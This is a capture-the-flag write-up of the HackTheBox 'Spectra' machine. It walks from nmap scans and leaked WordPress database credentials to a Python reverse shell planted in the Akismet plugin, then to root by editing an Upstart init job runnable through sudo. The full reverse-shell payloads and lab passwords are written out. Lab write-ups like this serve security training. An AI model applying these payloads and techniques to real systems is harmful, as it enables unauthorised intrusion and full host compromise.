Spectra - [HTB]

Cover Image for Spectra - [HTB]
Marmeus
Marmeus

Introduction

Spectra is an easy ChromeOS HackTheBox machine where the attacker will have to explore the wordpress testing files looking for the admin's credentials. Then, modifying one of the plugins we can get access to the machine obtaining the katie's credentials. Finally, the attacker will have to modify init files retrieving a reverse shell as root.

Enumeration

As always, let's start finding all opened ports in the machine with nmap.

kali@kali:$ sudo nmap -sS -T5 -p- -n 10.10.10.229 -oN AllPorts.txt
[sudo] password for kali: 
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-01 07:52 EST
Nmap scan report for 10.10.10.229
Host is up (0.039s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3306/tcp open  mysql

Nmap done: 1 IP address (1 host up) scanned in 36.70 seconds

Then, we continue with a deeper scan of every opened port, getting more information about each service.

kali@kali:$ sudo nmap -sC -sV -n -T5 -p22,80,3306 -oN PortsDepth.txt 10.10.10.229
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-01 07:54 EST
Nmap scan report for 10.10.10.229
Host is up (0.041s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.1 (protocol 2.0)
| ssh-hostkey: 
|_  4096 52:47:de:5c:37:4f:29:0e:8e:1d:88:6e:f9:23:4d:5a (RSA)
80/tcp   open  http    nginx 1.17.4
|_http-server-header: nginx/1.17.4
|_http-title: Site doesn't have a title (text/html).
3306/tcp open  mysql   MySQL (unauthorized)
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
|_ssl-date: ERROR: Script execution failed (use -d to debug)
|_sslv2: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 39.26 seconds

In the port 80 there is an HTML web page with two links. Both, pointing to the domain spectra.htb.

Web Issue Tracking

However, if we click in one of the links appears the domain www.spectra.htb.

Spectra www domain

So, I added both links into the /etc/hosts file avoiding failures later on. Getting access to a wordpress blog (/main/) that contains a post written by the user administrator, and what it seems a testing web page (/testing/).

Worpress

Looking inside the testing directory we can see that there is a wordpress directory structure in there.

Wordpress structure

Furthermore, there is a file with the extension .save, which shouldn't exists in the first place. So, looking inside the wp-config.php.save with the Firefox view-source utility we can find the database credentials.


// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'dev' );

/** MySQL database username */
define( 'DB_USER', 'devtest' );
/** MySQL database password */
define( 'DB_PASSWORD', 'devteam01' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );
/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

Explotation

The password can be used to login as administrator in the wordpress blog.

Note: Do not worry about the junky interface, we are not gonna use it much longer.

Wordpress administrator panel

Because, the wordpress Theme Editor can not help us in order to get a reverse shell, we need to use the <strong data-reactroot="">Plugin Editor</strong>. Thus we can modified the behaviour of Akismet plugin so we can get a reverse shell.

Akismet Plugin editor

For doing so, put a listening port at 4444 on your machine, click on "Plugin Editor", modify the file as follows (DO NOT FORGET TO ADD YOUR IP) and save its changes.

<?php
system("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.X.X\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'");

Then, click on Installed plugins and activate the Akismet Anti-Spam plugin, obtaining a shell as nginx.

Activating Akismet Plugin
kali@kali:$ sudo nc -nlvp 4444
[sudo] password for kali: 
listening on [any] 4444 ...
connect to [10.10.15.26] from (UNKNOWN) [10.10.10.229] 45956
$ id
uid=20155(nginx) gid=20156(nginx) groups=20156(nginx)

Privilege Escalation 1

Looking inside the /opt folder there is a file named autologin.conf.orig that seems to store a password inside a file named passwd, which will be stored in the folders /mnt/stateful_partition/etc/autologin and /etc/autologin password inside.

nginx@spectra /usr/local/share/nginx/html/main/wp-admin $ cd /opt
nginx@spectra /opt $ ls
VirtualBox           broadcom     eeti    neverware  tpm2
autologin.conf.orig  displaylink  google  tpm1
nginx@spectra /opt $ cat autologin.conf.orig
description   "Automatic login at boot"
author        "chromium-os-dev@chromium.org"
# After boot-complete starts, the login prompt is visible and is accepting
# input.
start on started boot-complete
script
  passwd=
  # Read password from file. The file may optionally end with a newline.
  for dir in /mnt/stateful_partition/etc/autologin /etc/autologin; do
    if [ -e "${dir}/passwd" ]; then
      passwd="$(cat "${dir}/passwd")"
      break
    fi
  done
[...]

Nonetheless, just the second path exists, so there is only one way to retrieve the password.

nginx@spectra /opt $ cat /etc/autologin/passwd 
SummerHereWeCome!!

This password, can be used to gain access through SSH as the user katie.

Privilege Escalation 2

The user katie, which is a developer, can execute /sbin/initctl as root.

Note: initctl allows a system administrator to communicate and interact with the Upstart init daemon.

katie@spectra ~ $ id
uid=20156(katie) gid=20157(katie) groups=20157(katie),20158(developers)
katie@spectra ~ $ sudo -l
User katie may run the following commands on spectra:
    (ALL) SETENV: NOPASSWD: /sbin/initctl

Listing all the jobs we can see several testX jobs.

katie@spectra ~ $ sudo /sbin/initctl list
test stop/waiting
test1 stop/waiting
test7 stop/waiting
test6 stop/waiting
test5 stop/waiting
test4 stop/waiting
test10 stop/waiting
attestationd start/running, process 1710
trace_marker-test stop/waiting
test9 stop/waiting
test8 stop/waiting
test3 stop/waiting
test2 stop/waiting

The configuration for the jobs are at /etc/init.

katie@spectra ~ $ ls /etc/init | grep test 
attestationd.conf
test.conf
test1.conf
test10.conf
test2.conf
test3.conf
test4.conf
test5.conf
test6.conf
test7.conf
test8.conf
test9.conf
trace_marker-test.conf

Looking inside the file test.conf, we can see that is executing the file /srv/nodetest.js file. So, as we did in the wordpress plugin, we can modify that line to execute a python command that spawns a reverse shell.

katie@spectra ~ $ cat /etc/init/test.conf 
description "Test node.js server"
author      "katie"

start on filesystem or runlevel [2345]
stop on shutdown

script

    export HOME="/srv"
    echo $$ > /var/run/nodetest.pid
    exec /usr/local/share/nodebrew/node/v8.9.4/bin/node /srv/nodetest.js

end script

pre-start script
    echo "[`date`] Node Test Starting" >> /var/log/nodetest.log
end script

pre-stop script
    rm /var/run/nodetest.pid
    echo "[`date`] Node Test Stopping" >> /var/log/nodetest.log
end script

Furthermore, we can edit it because we form part of the group developer.

katie@spectra ~ $ ls -la /etc/init/test.conf 
-rw-rw---- 1 root developers 478 Jun 29  2020 /etc/init/test.conf

In order to get a reverse shell, we need to modify the file /etc/init/test.conf as follows and execute the command sudo /sbin/initctl start test, obtaining the root flag.

description "Test node.js server"
author      "katie"

start on filesystem or runlevel [2345]
stop on shutdown

script

    export HOME="/srv"
    echo $$ > /var/run/nodetest.pid
    exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.26",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

end script

pre-start script
    echo "[`date`] Node Test Starting" >> /var/log/nodetest.log
end script

pre-stop script
    rm /var/run/nodetest.pid
    echo "[`date`] Node Test Stopping" >> /var/log/nodetest.log
end script
listening on [any] 4444 ...
connect to [10.10.15.26] from (UNKNOWN) [10.10.10.229] 40748
# id
uid=0(root) gid=0(root) groups=0(root)
# cat root.txt
[CENSORED]